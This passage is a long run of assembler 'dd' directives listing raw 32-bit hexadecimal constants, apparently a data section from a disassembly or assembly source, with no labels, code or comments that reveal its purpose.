dd 611B100Dh, 0E000C007h, 0A49895DAh, 0A1EB16FCh, 8E5030B7h dd 76070F68h, 8612F527h, 7BA17570h, 9CEE0060h, 5CAC4D2h dd 9099BE1Ah, 471818A7h, 79280988h, 98ABBE54h, 2602C071h dd 10D1E849h, 0B01201C0h, 64F2AF36h, 0CF1420Fh, 0E3AEE0C0h dd 0C314ED3Bh, 130B0C7h, 0C6C4A6FBh, 0DC277A73h, 7F81E23Ch dd 0FE2851EBh, 6CB0F9CAh, 0CBC98038h, 282FAFC5h, 5F8CF60Ah dd 83BC91C2h, 80E4149Bh, 2D905AA6h, 0E5944398h, 0F088394Bh dd 4CC1006Ch, 8FF8D4EEh, 8901BB56h, 687F23ABh, 303A72FDh dd 0B1366778h, 700B8A6h, 0EFD4183Bh, 3F0163F6h, 56826E64h dd 361FC054h, 0AB2B4C81h, 986E7018h, 388C90B7h, 121C3ED7h dd 6C253600h, 8DA916A2h, 8B5E1476h, 5EA6F888h, 8D44208Ah dd 59002AF9h, 0BCAB5EFDh, 0A637B6B3h, 35D81EE8h, 9B82822Ah dd 0A0440689h, 1C818026h, 8C293751h, 42C4C84Bh, 44EB1C00h dd 0B6F91135h, 8D591E5Eh, 54D05EE1h, 0FF84BC1Dh, 0E8CF5DAEh dd 0C9696049h, 983790h, 99A29767h, 0A4594F2Ah, 29510E00h dd 1C785D2Bh, 36E127FFh, 0C100A470h, 11AA6654h, 3289EDF5h dd 48972B9h, 541C05Eh dd 64487D06h, 308A805Eh, 0FF6F9709h, 0FD900762h, 127A2981h dd 0B7018832h, 0BA23E955h, 0D67EC42Ah, 11028125h, 0DC732158h dd 38C79D00h, 2B686789h, 8A4DB612h, 0F7803CECh, 0C05C918Bh dd 0B0000BF8h, 767958C7h, 4BB228DFh, 9AC0B430h, 0C048F348h dd 8A959B88h, 4EB63ACAh, 6AFF310Ah, 0B8DB1240h, 6B1CC8C0h dd 599AF4E0h, 9B362Ch, 6CFCB544h, 0F8B01A88h, 3D4DAFCh dd 36968A68h, 0DC86E0Ah, 1E0EC65Eh, 806BB55Fh, 4EC5EA63h dd 0F54B0354h, 0FB42401Ah, 0C64C2680h, 103D3307h, 81A5DB27h dd 0F3A57CB8h, 44582D48h, 0C5C40088h, 0ED6A0C18h, 67719EB9h dd 0A8E6B301h, 3B4343Dh, 0A0B7A092h, 0DE8AB144h, 0DB3B80C8h dd 5190CAD4h, 0C0C33800h, 6F4E53E2h, 64D4989Fh, 0BCDB314Ch dd 0DF2A80D0h, 0B8FE9532h, 79DA2D0Ch, 48C48018h, 0A73B7F3Fh dd 4434CCC9h, 0F33DA008h, 77250042h, 28D86FD3h, 0FBBD07CDh dd 9027A726h, 0A6D72AFAh, 16223498h, 94FF211Ah, 5BA5901h dd 216F086Ch, 12AEB788h, 756E2095h, 4F5F8471h, 0E52E700Bh dd 0EE9700E4h, 74234686h, 0B5BBC100h, 73DB0395h, 0E0260290h dd 6EDC4CFFh, 0C40838FEh, 0FEC99CD0h, 1160B1F4h, 20E24AFCh dd 0EC320075h, 8DEF27D5h, 0F2006A0Dh, 4D431E21h, 1C2DDB3Fh dd 963852A2h, 17A80840h, 0D4030485h, 0D427BC22h, 88995044h dd 95173Ah, 0A4910408h, 726E4E3h, 282AA762h, 0E8AB1FF0h dd 33AC6431h, 18E34E1Ch, 9EC58201h, 0E8B793EBh, 9913DB18h dd 54E7AB51h, 0FCE9C42Dh, 342A10A5h, 0DCF8486Eh, 610D3518h dd 22EF48C9h, 38883A34h, 37017827h, 0C1A253B6h, 8C709EB3h dd 0C9BD12E7h, 0CB10FC99h, 54301101h, 19801462h, 0BF6CA4BBh dd 61F54E00h, 4970DD4Fh, 5CCE70C1h, 0EB00A82Ah, 6431ABF8h dd 0D4F21D51h, 2E48C200h, 4A7F8B0Ch, 97230F9Bh, 8D00D6E1h dd 7B29A304h, 0E38C5300h, 51A44C6Eh, 91089973h, 201127ACh dd 728CF980h, 79100057h, 0FB191B2h, 9600B907h, 0F0048FCBh dd 0B54DB0CFh, 6B5A7422h, 0AF9E1E22h, 0CE0C40BCh, 0D63234h dd 4D134A85h, 7A267DDCh, 170E9D09h, 784FA46h, 0F17283C8h dd 58828962h, 14570659h, 0B4E49560h, 907CACF2h, 0C90A5C7Ch dd 187527DAh, 0F0BC1B13h, 531CDFA0h, 79EC2300h, 0E8BD6BD6h dd 0BA7F0035h, 30A71DD1h, 144E49F9h, 4B4BC88h, 833E8716h dd 0D6F17085h, 9BFB0039h, 0C0B148A3h, 93029F29h, 0FF5011A6h dd 469862C5h, 0BB5300F8h, 0D082323Dh, 0C102D850h, 4E672C7Fh dd 0FA471F0h, 0E56F3ACEh, 39B0AC00h, 129DE2DBh, 81C8C1F4h dd 2FF44D10h, 8286343Dh, 0BF439733h, 1180D45Ch, 20501EE1h dd 5BFD8D03h, 0D85181AEh, 541155C7h, 8E005C72h, 0F26D0C43h dd 0E74B5531h, 0BC0E45E0h, 0C8AE11FCh, 0CE5800Ah, 44BF06FDh dd 0C6BD312Dh, 0C45F00B8h, 0C172A501h, 0CF446748h, 8D900029h dd 17315F4Ah, 0B85030CBh, 0A63FB008h, 6AB9224h, 9006CA6h dd 0F1630789h, 551EC328h, 198E0640h, 0B7CE0BFh, 3F339Bh dd 61B5D6A6h, 0DEA7C09Ch, 80F9593Ch, 983B86FCh, 41463EFh dd 9CBF4E90h, 8088F22Ah, 0BAB62250h, 361000Bh, 0C0E8D35Dh dd 90B57CEEh, 1F8B5198h, 533953B1h, 0A3680013h, 0FA46D333h dd 2CB93F00h, 3A50B67Dh, 0AFC3276Dh, 0FD00D0D1h, 9AB799ECh dd 51C83955h, 0F7E2A600h, 80C6FB5Dh, 6E609097h, 446C008Eh dd 0E799A624h, 0BF393D4Dh, 1EB080FDh, 0C2E866D0h, 4C4CC32Bh dd 67BF7A42h, 6CF94015h, 0FD2C2488h, 0B50F2DC9h, 0A534C0B1h dd 403C50E3h, 6E0072B9h, 0A396DC05h, 1DB46877h, 25C1D26Fh dd 4E00E071h, 0C8A99507h, 0E9FF0FEAh, 813EC471h, 182D7744h dd 24712E6Dh, 223B2450h, 895FC7D0h, 59C88908h, 75FC0008h dd 0D02C6601h, 1B2DB500h, 0F2905FC1h, 5057029Bh, 16E0589Ch dd 19094459h, 6DF4E886h, 177FC08h, 58FF29EBh, 0D8A73B81h dd 2CB060B7h, 0F0B51481h, 5274FCF5h, 1D902A05h, 0E8048A56h dd 0AD12B758h, 0A5E38054h, 0F4B8B62h, 16D0E9D9h, 81DF8A04h dd 40FCD220h, 8B61110Ch, 68272404h, 3EE30FEh, 0CFFF2F44h dd 0B8DE9CBAh, 0A086F44h, 3940C427h, 1C0BAECFh, 1A5E7CF8h dd 0D6F5B001h, 0EDFC3E05h, 0B61112F7h, 80F4ECE9h, 3FA7BF7Bh dd 0ADE000C3h, 58366081h, 4E12D594h, 8CACD9C0h, 0AC131822h dd 0F4901347h, 71D77555h, 64F400CFh, 45AE9249h, 6C90A65Fh dd 4490801Eh, 0B8C08A18h, 179F4330h, 18A4B5A0h, 0BF6A7459h dd 89D9D890h, 0A4A95A00h, 0C183745Ch, 809600FDh, 23AFF35Dh dd 0D4967CE9h, 662BC840h, 17D6030Fh, 0C51978A5h, 0AA9Dh dd 96675B97h, 8A3C01BDh, 0AA9186B9h, 80A47CCAh, 80448870h dd 2F933B4Ch, 0D8EE1809h, 5825D87Eh, 8AC64404h, 44B02C03h dd 98B73402h, 9F07036h, 81DABD06h, 9D022C71h, 5D227C89h dd 9C631090h, 3C665600h, 0DE553A95h, 98EC07A5h, 70A38517h dd 88EA4EEDh, 690419Dh, 7C3C16C5h, 0D02CC25Fh, 0A698DA23h dd 25EDE0B9h, 280BA030h, 29007465h, 0FA06FF58h, 39E21C8Ah dd 371040E4h, 1590879Eh, 0E8406B7Eh, 0EBCB0905h, 44A4A9EAh dd 82B040A5h, 419924h, 3255FE1Ch, 0BCF3472Bh, 8AB2BB00h dd 4F2C86A4h, 95DE2E93h, 0D2A09358h, 902A9A34h, 10219307h dd 9812CBC7h, 0A65E22DEh, 0F4FBDA22h, 328A45CCh, 0FF20DD48h dd 8C926Eh, 0E3B349B0h, 6422E17h, 746640AAh, 7099DC01h dd 4417F0F5h, 8C3FEF61h, 0EF001A64h, 88DC308Fh, 172CEBAh dd 0D10FD6EDh, 7A3BAFD8h, 0A6B21C20h, 1DF20144h, 0C910DB2Dh dd 0CC98841h, 134D04ADh, 496940D9h, 2E477AFh, 841F4F3Dh dd 689A300Bh, 7A603CF4h, 720FD8BFh, 0EF11003Fh, 0BE96AF5Ah dd 6E4D8102h, 84AE0528h, 0FCA27CF4h, 6A006138h, 5BBE07F1h dd 6C245E02h, 0DA0958A9h, 1264C499h, 1698E541h, 0CC64C9FEh dd 0AF16DB07h, 830147F7h, 515EA0A8h, 1C22470h, 1F6403Ch dd 0A795CE2Eh, 39D87811h, 0FC584E12h, 0B9549780h, 0CC7FB869h dd 576D6500h, 798A3ACBh, 1B47B48h, 30EA6405h, 3AB25299h dd 0F41EC484h, 0AB8408h, 3EA1B3FDh, 450471D5h, 0F8EE030Eh dd 5CBCA980h, 816F36CBh, 0C830E0F8h, 0C5C61871h, 0D512001Ah dd 67587A28h, 6A2E5283h, 5D1CE857h, 0A2415640h, 451CDD3h dd 0E0E70C6Dh, 4812EA1Bh, 57C5B504h, 0D6F803EEh, 4008C085h dd 3C71EDABh, 0C56F290h, 19C20282h, 999A03FFh, 0FACEBCB6h dd 8F34EEE0h, 835CB8A0h, 0A82ACB30h, 157EF65h, 9AF82B13h dd 0C1B7B0D7h, 2E5A317Dh, 0CE88419h, 8720801h, 3E2F42A0h dd 0B788434Ch, 7065E204h, 0C8075F42h, 0E59CDB00h, 10A78F68h dd 3E5F2ED4h, 8E0F64BFh, 6BE761E8h, 0DBFBD1ECh, 1110855h dd 0FF9F3249h, 3FEA5EC5h, 900544DCh, 4480BA05h, 487DEAE1h dd 80B52438h, 5593A832h, 4087EDh, 0C36A423Ch, 8D36A5B7h dd 0C00B5B2Eh, 0B22A1503h, 0FF28A95Eh, 0AD9020h, 4846E986h dd 98CE9E58h, 1601189Eh, 867E536h, 0B9F3BC40h, 987CF078h dd 98AEFAF4h, 625010DCh, 4A90508h, 203C2F9Bh, 485D461Ah dd 0F627C134h, 5DC471Ch, 0DF24025Eh, 64D08BAh, 46407CDCh dd 48E6565Bh, 0F67F0023h, 81161C8Eh, 22FDC5ACh, 0D69B80FFh dd 124C33B5h, 0C60783E0h, 0D3EDD073h, 5D2407A7h, 70CFF379h dd 8665AD9Fh, 758070B4h, 0FF2CF032h, 0D5D70421h, 86D6D996h dd 5A002196h, 0EABEF04Ah dd 0FF69427h, 0CA347808h, 0C1320904h, 91A7F21Ch, 33806C59h dd 29FF2BF0h, 0BB6F448Ch, 27F04B00h, 59951B11h, 8B18027Bh dd 0DB90CBF9h, 8A4D088h, 30016E89h, 0F60E1B3Dh, 3FCD2461h dd 5D3C033Bh, 80029763h, 0E661B3Ch, 0B045A09h, 0ABDEB8ADh dd 0CAF02CF2h, 4DD92B09h, 2440D432h, 0AD083437h, 207C00BCh dd 371D21D9h, 2D7B4Dh, 1A06B4A4h, 0FEDCD327h, 4CAC98C7h dd 330076D4h, 0A584B597h, 328B150Ch, 14B780EDh, 8C9E536Ch dd 0DF64AB81h, 80108282h, 0E0C2386Dh, 1B6317Fh, 8366F76Fh dd 0D02C350Bh, 0E3006E54h, 159159AFh, 0FD7A3Eh, 0D046F80Fh dd 983F55DDh, 0E3004AEEh, 0E99F51F9h, 0D420DFh, 728F77A9h dd 668835E0h, 0BC60780Fh, 0ADC8A00Bh, 5A3C55h, 0CD349A59h dd 6F956B22h, 0F07FA500h, 9D62CF90h, 2D0B0008h, 0A8682B9Fh dd 170D4327h, 384123F5h, 3813D0h, 0D7F4FEB1h, 943AC46Ch dd 36F99E00h, 0BCF61CEAh, 0EC60C03Fh, 0D759DA45h, 53736700h dd 239BF4EDh, 205A60C0h, 8148A041h, 6454CB00h, 96D4FAB5h dd 80761043h, 0D15900ABh, 4F78C9F2h, 311D0085h, 0EB21F857h dd 7C007443h, 763A6139h, 0C7FFD8h, 0B5A25EDCh, 0F4934207h dd 0DEBB3Eh, 0BD278E4Ch, 0F55FDB7Fh, 0C9A0D080h, 0DFA66336h dd 2B309C7Ch, 0F5DE18AFh, 73D80038h, 59C61B99h, 65012C1Dh dd 5A330EF9h, 0EAD023A4h, 89CD0031h, 3AAB4903h, 81000A99h dd 0F861098Fh, 448117Bh, 0E175FE1Dh, 0CD2E0080h, 1CBD5B65h dd 704121Bh, 401413h, 83238F8Eh, 0E6816101h, 1936DD02h dd 87DFCE8h, 80F0530Ah, 0C7159501h, 0E7D728BAh, 458167B7h dd 8EF41EA4h, 0CD010110h, 0E19CB09Ah, 7CD3DF09h, 8899E088h dd 5139E300h, 443447Bh, 1887F082h, 80D1145Bh, 53304C1Ah dd 8B811833h, 99E16069h, 65922C06h, 68CA4C32h, 0B94B4374h dd 40D402D3h, 7C533D8Eh, 8D0FA060h, 9C33AA09h, 0F15581F2h dd 58BA1FE7h, 4BA3C680h, 4C8F836Ah, 18118B31h, 1DFC9D2Bh dd 8E1B0FB2h, 0A1032F39h, 1AC1B5E6h, 0B8E43099h, 0A478FA68h dd 65670105h, 48025884h, 10D1176Eh, 0F940587Bh, 75561401h dd 760CCCB7h, 17E818E9h, 0F0C42A46h, 4DC039BCh, 0F4150390h dd 789536D9h, 8C9A31D9h, 0F1FB7968h, 0A0DE1BC0h, 0C4C0A9E1h dd 991DB841h, 803E5579h, 4BDAFE2Ch, 0F530CAh, 2142BC01h dd 0BE5EE6D5h, 0B8F79900h, 352DA0B1h, 0E129C8DBh, 0AF14B080h dd 3C0E9E8Eh, 1E0EA0BDh, 0D209CA9h, 16B5A3C0h, 8D9AAB00h dd 6A76F604h, 78F33032h, 3765DD09h, 6CE0F000h, 8C510A4Ch dd 8999012Bh, 489263CFh, 0DA9AE082h, 0E9E6BF00h, 1A9C2984h dd 0DF993FC9h, 44B0B80h, 31564FC6h, 1F0F8F03h, 87FC2DD8h dd 0FE17EB51h, 0FDEBAE4h, 0B5DBB782h, 0D867921h, 0C4DD218Ch dd 0DF002B53h, 1CBA4BFh, 3A439Ah, 0A3B4A57h, 0B65405Eh dd 0BE022CE6h, 8A5F45FAh, 0F7A081A3h, 4840AAE2h, 0E279FF06h dd 0B2C900E4h, 0ED80017Ah, 47005162h, 28BD3336h, 0F90C19h dd 0A627FE1Eh, 0FB739737h, 0EA7CF200h, 0FA4E477Bh, 9BED03AAh dd 0C3F6E091h, 79BEA000h, 0BB5CFF59h, 3A5607CFh, 8D6F9E83h dd 0B58EDC80h, 0DD04F90Eh, 5B51038Fh, 36B1E1E3h, 66DAFCh dd 0FC40C2Eh, 0AFC0CBB5h, 37330700h, 94F4DB26h, 7DC50057h dd 6FDB705h, 2D009892h, 0CF0B4680h, 0EF4D7Ch, 0C299EDC1h dd 5F7AD982h, 3BBD7700h, 0A3F93DF7h, 0F2209057h, 0A27FB4h dd 88B12AACh, 74A522B6h, 802BAA3Eh, 0A6BABB85h, 28A376h dd 5A6CD5F6h, 6284B3D9h, 67DEF100h, 86BBD655h, 0A8910038h dd 0E98E4D4Bh, 7500ACDBh, 818368C3h, 3EEE3F94h, 0A40FBE4Eh dd 0D0E01DAEh, 0EC7738E3h, 0F0360400h, 0F54870E4h, 85A30075h dd 5C2BFA49h, 0E200011Ch, 4E8CCB5Bh, 7DB90A7Ch, 67360087h dd 310B6C68h, 0B30006A9h, 0CDC75CBFh, 3291C1h, 0A0BBB2F8h dd 2B95AFC4h, 9DCC2000h, 8BBC101Bh, 0CA1E3F29h, 0BB0D1A86h dd 0B1002093h, 0FDDDDE7Fh, 0F1E557h, 0D2C241FBh, 0E9EE54FEh dd 0E143F900h, 8EACB263h, 746B047Dh, 8097BD1Eh, 3589C3B3h dd 0D7E51D00h, 0DB59A30Ch, 16EC07CFh, 8F312942h, 20F5C387h dd 36E1BF25h, 0BE45A500h, 673FB2D1h, 0D00B0197h, 137CC9FEh dd 536196h, 853395D0h, 76002979h, 5047C5E0h, 755518h, 3E3A3BDDh dd 0C479045Fh, 15772C00h, 0F69596A4h, 5E8A009Ah, 0FD76F103h dd 0E47B73A2h, 0E3ACA107h, 6F0046FAh, 3ACD5Eh, 0D181D5AFh dd 0EF1ACFD2h, 14A35F1Fh, 0E2C3CE40h, 60FC875Ah, 0D2B0117Fh dd 0D0000296h, 0D56B8D51h, 0A0F1C61Fh, 18241B4h, 0A49983DCh dd 20E95F2Bh, 0D1FE308Ch, 0DB6B3Eh, 18856041h, 0ECFBA43h dd 30CD74E9h, 0B9CC5E40h, 3B003F12h, 0E2481432h, 0C2A1F72h dd 9195E1F7h, 0C106D430h, 0B9DF1EE0h, 76443070h, 0F02C28F0h dd 0F340C060h, 0EF6CEC9h, 0E913C3F2h, 0B61C34A0h, 6F00E578h dd 105C40C2h, 5DECBFh, 0DC6C3E90h, 0FCD9047Fh, 59C9E300h dd 4ACF855Ch, 0D18A0093h, 55746352h, 0BC033726h, 0D95822B0h dd 0F7C0C4CFh, 0CCF453h, 0DE6A4070h, 0D3B259BAh, 5B7AC107h dd 0A89CF2F3h, 6AD5006Fh, 5ADD8B60h, 0CB007B50h, 0E0895E68h dd 607A4D59h, 3F7020D3h, 0BD009C1Dh, 0BBB02417h, 910201h dd 0A82D14BEh, 222103B9h, 8F6CF312h, 5D344002h, 0C6F200FDh dd 0FB005080h, 0DC446DCDh, 380AE97Ch, 7D8F52EBh, 64E107CCh dd 87AD8137h, 299E3030h, 334F1940h, 1F3A7E04h, 827E8822h dd 3EA3D3DBh, 0F9CBE080h, 2A000A6Eh, 0A742C3D0h, 0F43945A0h dd 4BF200D9h, 8CBA8F0Eh, 0EC0022B3h, 34DF70C5h, 510804Ah dd 4F4E1E83h, 0FFB800BDh, 7F5079D1h, 0C5C25816h, 5FE06400h dd 97FA1Ch, 716A9226h, 47704246h, 9F1C674Ch, 75380BE2h dd 0B0840440h, 65A8902Dh, 0E624709Ch, 0AE008CCDh, 75E412C8h dd 9424005Ah, 0A2868139h, 3402A607h, 884608B2h, 519C40E5h dd 5A640017h, 0CC1E102Ah, 55002EBAh, 29C523B7h, 97FCEBh dd 0DDC45ACEh, 8C2A81CDh, 0F3DC350Eh, 11BAE032h, 71981BE7h dd 0D25D00BDh, 0B27B5531h, 66744E05h, 0EE5F6E1Ch, 0A400AA96h dd 2A27A71Ah, 28360787h, 1C4AA02Fh, 941D1450h, 439C1FBFh dd 9B1F885Fh, 6AA67FC0h, 0EC73E9Dh, 874E98ABh, 13B493A2h dd 45C4DC68h, 82813400h, 360D9EC8h, 842600A3h, 0F39CBCBFh dd 2B0FA233h, 2027A483h, 4B97D353h, 0F24409E3h, 0DE8031D9h dd 0EF81C768h, 0E64DDD07h, 46714328h, 0E824BD99h, 0A3C9EC39h dd 0ECC1C4D4h, 65CD04DCh, 6F3C18D0h, 3E7D185Dh, 384CF102h dd 1882E13Ah, 24803145h, 1DE8343Fh, 16C433Ah, 4D3DA5D6h dd 0FFECDC55h, 3ED33C61h, 21119607h, 0D0E1CCB0h, 475CDD00h dd 223CDC56h, 7039D8D7h, 0F51FF821h, 5F005E31h, 0D8CBFE47h dd 3C38002Fh, 0C34B17FCh, 614DE05h, 1449645h, 1EE86DB7h dd 54407C3Bh, 1578ADh, 9FF8C4A8h, 0AD4FF21h, 12096EEEh dd 3187F91h, 0AA7BFAE4h, 56A0E0DEh, 0A5A01D7Dh, 3EE47h dd 87C78B1h, 0DF0011A9h, 15F0FF1Eh, 73FCE2Fh, 9984C9D2h dd 684390F1h, 0FB000D97h, 601058AAh, 3CE4E0Ch, 1E075B3Ch dd 0A972C63Ah, 38D639h, 5D0BF5F1h, 50ABAA14h, 88D1C8EEh dd 0C4076CDEh, 6B5B1EBDh, 42C0BC4Eh, 47531F93h, 0B848C0A2h dd 7BD93CD3h, 0F834AD3Fh, 100363B0h, 91833512h, 0BB700ED4h dd 7809244h dd 311C0371h, 0B5899FF5h, 95A62D80h, 0E3539Eh, 0D88AFAB4h dd 45876C79h, 0D598DE1Bh, 9C30AF91h, 0B069E116h, 1D57B0BEh dd 6EEBF11Bh, 4FAE0AFAh, 27F981ECh, 606DCA88h, 95007933h dd 3A45047Bh, 3C576F7Dh, 46BC43F4h, 0FACCC2Eh, 2100395Fh dd 140BC1E8h, 4B74BC00h, 1EBBD340h, 8E9F3C45h, 0AE304680h dd 0B15118F1h, 48862200h, 52CD0D09h, 147A0277h, 0C4B93D53h dd 45308481h, 40918059h, 19F74FEAh, 0FFB00479h, 0C0C93574h dd 99BA5D4Bh, 8BE26D00h, 3364059Eh, 78A30026h, 5DCE9FC5h dd 0FC608180h, 0F5BC1829h, 0D16E03F6h, 0A1779DD6h, 5E6E0870h dd 0F5B34020h, 0FAEFF0DAh, 0E2390CAFh, 4258B11Fh, 5DF7FA0Bh dd 62700633h, 8720C160h, 87640CC9h, 0AC5DF840h, 0B545C641h dd 0F3DA1180h, 0ED33B73Ch, 3B621B0Ch, 0C0DC08DDh, 3CEB7421h dd 0B53C0795h, 43E28136h, 0FBED15DAh, 600B12DCh, 2EE580ACh dd 78C17527h, 0A5C7FA6Dh, 2FB91882h, 15007A6Fh, 83997F13h dd 0F1618806h, 10A653h, 5054594Dh, 0E35DCDD5h, 808C243Dh dd 0CCE635BEh, 0E45E8Fh, 7578AC7Fh, 5368ADEAh, 0FBD2D400h dd 92BDE310h, 795BB8C6h, 1D78F9h, 0F8C22270h, 453B9815h dd 550AF400h, 0DCB1FF4Bh, 6EAE3A4Eh, 0AC823D8Eh, 94E9EB20h dd 0F6009E34h, 55F850A0h, 0FFFF430h, 0D122D5Dh, 960370Eh dd 2B35244Ah, 0BE0431D0h, 835C840Dh, 6C7A2010h, 0ABE73100h dd 9DD1F224h, 0FC7F25h, 40844679h, 418E3D3Ah, 2969AB32h dd 9F461010h, 0CD093489h, 100C1264h, 0A8899B4Bh, 63443208h dd 4FF144F8h, 849C9444h, 2262BC22h, 95F6F054h, 0AE087089h dd 5032F820h, 44672840h, 8D88E497h, 41CC00CEh, 51DCE6E1h dd 0C603D872h, 0CDE3EB43h, 0D0C34Eh, 9568EC20h, 87B023A1h dd 9E00157Eh, 0B32AA699h, 7FCFFD6Eh, 527F3994h, 77D39004h dd 849380B6h, 4E0087D7h, 859EDCD5h, 20DF6Dh, 72B8248Ch dd 0CFE791B9h, 5CEA3B2Dh, 0FF1600BEh, 0AC8F5144h, 0ED91F00h dd 1075F584h, 0A2710381h, 79C43913h, 3F9E3FE9h, 34DDFE0h dd 0AD7E9BACh, 0BCF84418h, 1B00D484h, 7959F635h, 0CD8037h dd 5263AA54h, 5FCE44B9h, 0A8007FF8h, 0B6F94715h, 608B5711h dd 1AC2706Bh, 0B012942h, 51E2B404h, 0E2603A5Bh, 0D0FE0E2Dh dd 15433B22h, 6C831FBh, 910024F2h, 3C1F579h, 319BAF9h dd 0EEADCF49h, 0E688406Fh, 6C01536Eh, 5E3E6AECh, 0E88029D9h dd 0B2CD720Fh, 4EFA6EC8h, 97BFDD17h, 0E18B100h, 3BD957h dd 1C382291h, 0EEFB4B0Ah, 6F2E4D00h, 0F121D261h, 0A1060094h dd 0FF05D7EFh, 7716A067h, 4B043C15h, 70904E2Eh, 0DE040Ah dd 0AB25828Ch, 6BD94AA6h, 8081A23Dh, 0F80EDC1Ch, 1F432A85h dd 5A5F73h, 21CA2458h, 0A300C791h, 0E7B7D80Ah, 95943h dd 26740E4Bh, 0F03AA617h, 0A8041A00h, 95D7A934h, 0E1C204EAh dd 803384B4h, 0FF7035B0h, 0FC43C928h, 8955170Ah, 2D00B4D7h dd 0FDCE08BEh, 0FA0F02Bh, 0B342928Eh, 0BDE90200h, 0B4002A49h dd 2C41E3C1h, 0E40705h, 0DD9A640h, 4C27840Fh, 0AEC79A03h dd 99FE79ADh, 1DD02A2Dh, 6F789Bh, 2732CF44h, 914B01A7h dd 0A36D8800h, 0E90C9F5Fh, 82840063h, 0B96ED13Bh, 0C803502Dh dd 1F4FE8F9h, 0CE98D18Eh, 3DF0EEFCh, 0F180189Ah, 0BB114056h dd 0EC0F6F3Ch, 0E065C6C5h, 79B09C58h, 56B30098h, 0D4CCD877h dd 5505366Ch, 902D3BA9h, 874C2A80h, 24250E85h, 0D880399Bh dd 0AF2384CFh, 77188800h, 4D80C0D6h, 0E3DB005Fh, 1F9867E5h dd 6101FC6Eh, 37B37917h, 68014AEh, 99034C3Bh, 64077BDCh dd 6E75DAD3h, 400ADB32h, 186E72Ch, 3FB26FF9h, 30650196h dd 8D04BCFCh, 1E0E2258h, 5E5A0C80h, 46700063h, 565FF3D7h dd 6A0F6168h, 0E6F2D64Ch, 75206055h, 0CB7003Bh, 21BD7D81h dd 0BB009397h, 26828A1Fh, 38919D28h, 4A80AEDAh, 7E56DCCFh dd 700F0B16h, 0E0D5C51Bh, 6A2AECFAh, 0F140FCBh, 4D0BE0F1h dd 709BAF07h, 1DCC216Eh, 0A47851h, 6CE0C794h, 6D754513h dd 501E1042h, 21266083h, 57B624E9h, 274C096Fh, 0FF1D9400h dd 7B20FEDCh, 91460016h, 0C8056C8Dh, 74722E4Eh, 0B553F800h dd 8BDDC05Eh, 2C5C9067h, 930407E4h, 3A4C40DFh, 3017952Fh dd 0A4481C0Ah, 0F900A815h, 3D1DBE59h, 637F011Eh, 66CB91C5h dd 0E66420DBh, 0FB923A05h, 0F2004575h, 7B177A5Bh, 1ECB0063h dd 9F34F671h, 6A133E4Fh, 1009FD31h, 0C3B0A74h, 0B8009513h dd 45C793C1h, 86D12810h, 1BE003F8h, 98B3112h, 1CA1A780h dd 5D622400h, 0B00B3E43h, 77B1039Fh, 32549A0Fh, 0D39BCFA8h dd 3E6F1B1Dh, 403049h, 0B8738FC0h, 0A09A96h, 0B6E1979Ch dd 9D728390h, 798A9907h, 674292B4h, 3A906062h, 0C9600078h dd 0C65B68A9h, 0CFEA793Ch, 0EC879F00h, 116E450Ah, 6B9B0086h dd 8824DF0Fh, 400B827h, 731FCC93h, 5EAF970h, 0C34983B9h dd 0E5EBC0DDh, 82004277h, 0DCEEA3FCh, 0B86AB83Ah, 311007Dh dd 48B3B16Bh, 0B628C1EBh, 0F41EAC72h, 23807470h, 4E4F5E6Fh dd 0C8B3506Ah, 0B142008Fh, 943D7072h, 9F000ED1h, 23D20B3Ch dd 4F127h, 4853D4E1h, 0F8B7C4E6h, 0EA001898h, 0A96A9232h dd 3ED88Ch, 0AB6CEE9Fh, 48B259D2h, 0A003490h, 0E3DE5020h dd 68D8E6h, 0A1B9846Bh, 0CA18B645h, 4DD56E03h, 0A199D9DFh dd 0EB5A7Fh, 7BB99338h, 6E0F8A59h, 0A7242E1Ch, 504ECC0h dd 6022E87Dh, 0C4D328CFh, 0D10E4E5Ah, 0C1F4A656h, 13732BBEh dd 24A14C60h, 124893F1h, 638C0319h, 0BCA01ADCh, 0C0085FFh dd 0BE20B727h, 0E4E3A1h, 0B1845953h, 30F45D01h, 639DA60Fh dd 7D01BC8Ah, 7552C9EDh, 389471C8h, 21E07943h, 0BBE41342h dd 140488D3h, 0B641F072h, 20778359h, 5E2461C4h, 4C00C3F2h dd 0B84268E4h, 48E900E0h, 0EB1190C1h, 3A0435BEh, 6E5F9ED0h dd 0A84188C0h, 992C0055h, 3BBA15B5h, 4F00EEF6h, 0CA7E8A5Bh dd 0EC850A6Bh, 575C00E2h, 0EBE0F5A2h, 0C2076574h, 410C3828h dd 85F4B6F0h, 80E00EAh, 614321EFh, 9B289C8Eh, 8D07C390h dd 0C8C47114h, 5B8E156h, 1DB72B44h, 6E20D036h, 4A74662Fh dd 973B8CE0h, 214CC77h, 5621CB87h, 948480A7h, 130FCDD0h dd 65AD31h, 73F2981Ch, 970E4F30h, 0F3C81AEFh, 81901040h dd 18989F88h, 40A128DEh, 0C90C825Fh, 793A2526h, 10153B3Ch dd 7AE88E80h, 92398B72h, 34FC0DEAh, 88068174h, 697FFD4h dd 53F4A090h, 5F930E4h, 0B04EC480h, 0E29B6D10h, 7D0A1548h dd 3CC721Eh, 9735FB85h, 5D449000h, 0E4BA0BA4h, 1EBC796Ch dd 0C0910AB4h, 7051CB6Fh, 8D028655h, 0C276C5B1h, 0C8ECE371h dd 48590721h, 670228C4h, 0D2451448h, 0AF2F7400h, 309FE8A8h dd 5190041Ch, 340083CDh, 822C3A0h, 127B39DBh, 0E9438EAh dd 35602B08h, 9FB30577h, 341DC507h, 0D9901AE2h, 7DC1F73Ah dd 0BE7F00EDh, 9807CC86h, 0D03A1B0h, 0BFC8C984h, 10E9F894h dd 34090018h, 0AD4F1DFCh, 2A00F4E3h, 1E9D171Fh, 0F563E85h dd 9EE16412h, 0F83B4BE0h, 0A8717795h, 988B8700h, 18FAB811h dd 9A2B1EEBh, 0AC454790h, 312CF08Ah, 0A174261Dh, 9B44E500h dd 94A5E0EAh, 8428007Bh, 988A724Fh, 81587997h, 0E6007D2Eh dd 7AF4AF33h, 20C8743h, 0FEAD1DD3h, 0CE604270h, 20C735D2h dd 0C090A9DFh, 51F1B5h, 47E02BACh, 5AF6B6C3h, 0DE29B400h dd 0BD6A3A66h, 0C6DC6AC9h dd 16F171Bh, 1CA8D188h, 3F706476h, 8C717D2Eh, 8024C089h dd 95DDA128h, 1E2FCD6h, 17E46D12h, 0E07A7B5Eh, 0BD0753EBh dd 0D2B0B435h, 0CEA1802Fh, 483C766Eh, 7400BFF8h, 216C86Ah dd 272EEB78h, 0D300E823h, 95F4A72Ch, 8E4A8F0h, 5A341FDFh dd 0FC1C80A0h, 3C422989h, 1A021307h, 2B409439h, 